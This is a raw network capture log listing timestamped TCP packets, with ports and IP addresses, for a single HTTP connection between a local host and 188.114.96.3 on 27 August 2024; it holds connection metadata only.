Aug 27, 2024 09:49:39.324975014 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.324997902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325011015 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325021029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325026035 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.325026035 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.325032949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325042963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325047016 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.325053930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325066090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325071096 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.325074911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325086117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325092077 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.325098991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325110912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325120926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325129986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325139046 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.325155020 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.325368881 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325387001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325398922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325411081 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325421095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325423956 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.325432062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325443983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325453997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325464964 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.325464964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325475931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325483084 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.325486898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325498104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325501919 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.325509071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325536966 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.325558901 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.325683117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325694084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325705051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325716019 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325727940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325737953 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.325740099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325753927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325764894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325777054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325781107 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.325787067 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.325812101 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.325928926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325939894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325953007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325963020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325973988 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325984001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325990915 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.325995922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.325998068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.326014042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.326025963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.326030016 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.326036930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.326046944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.326059103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.326069117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.326080084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.326088905 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.326091051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.326102018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.326112986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.326123953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.326134920 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.326152086 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.326237917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.326257944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.326270103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.326281071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.326282978 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.326292038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.326302052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.326307058 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.326313972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.326324940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.326339960 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.326383114 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.410623074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.410636902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.410648108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.410691977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.410701990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.410716057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.410717010 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.410727978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.410748959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.410761118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.410769939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.410778999 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.410780907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.410794020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.410799980 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.410824060 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.410844088 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.410870075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.410881996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.410892963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.410919905 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.410955906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.410967112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.410979033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.410990000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.410996914 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.411000967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411021948 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.411041975 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.411144972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411155939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411166906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411178112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411187887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411200047 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411211014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411220074 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.411220074 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.411221027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411232948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411250114 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.411281109 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.411304951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411315918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411325932 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411354065 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.411380053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411381960 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.411391973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411402941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411417007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411427975 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.411427975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411439896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411451101 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.411483049 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.411542892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411555052 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411564112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411580086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411591053 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.411592007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411602020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411612988 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411638975 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.411674976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411685944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411689997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411695004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411705971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411715984 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411731005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411736965 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.411763906 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.411772966 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.411799908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411812067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411820889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411843061 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.411957026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411969900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411978960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411983967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.411994934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412004948 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.412008047 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412018061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412019014 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.412030935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412040949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412046909 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.412053108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412067890 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.412077904 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.412319899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412331104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412342072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412353039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412364006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412368059 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.412374973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412384033 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.412385941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412399054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412410021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412410975 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.412420988 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412425041 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.412432909 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412441969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412447929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412458897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412460089 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.412472010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412489891 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.412491083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412502050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412512064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412522078 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.412524939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412534952 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.412559986 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.412750959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412761927 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412771940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412782907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412794113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412798882 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.412805080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412816048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412827969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412831068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.412841082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412851095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412851095 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.412863016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.412868023 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.412889957 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.413067102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413077116 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413091898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413104057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413115025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413115025 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.413126945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413155079 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.413167953 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.413281918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413292885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413301945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413311958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413325071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413341045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413341999 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.413352013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413361073 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.413361073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413372993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413383961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413393974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413403034 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.413404942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413415909 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413428068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413428068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.413438082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413449049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413461924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.413464069 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.413491964 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.413512945 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.497592926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.497602940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.497612953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.497678041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.497688055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.497689009 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.497698069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.497706890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.497725964 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.497728109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.497739077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.497765064 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.497781992 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.497807980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.497817993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.497823000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.497828007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.497853994 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.497900009 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.497937918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.497948885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.497957945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.497967958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.497977018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.497982979 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.497987986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.497998953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498008966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498019934 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.498050928 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.498073101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498087883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498104095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498114109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498121977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498128891 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.498136044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498146057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498147011 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.498172998 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.498197079 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.498250961 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498260975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498275042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498287916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498313904 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.498348951 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.498420000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498430967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498440027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498450041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498460054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498471975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498478889 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.498481989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498492002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498502970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498509884 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.498512983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498526096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498529911 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.498548031 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.498554945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498564959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498594046 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.498691082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498702049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498708963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498718977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498729944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498733044 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.498739958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498749018 CEST	80	49715	188.114.96.3	192.168.2.8
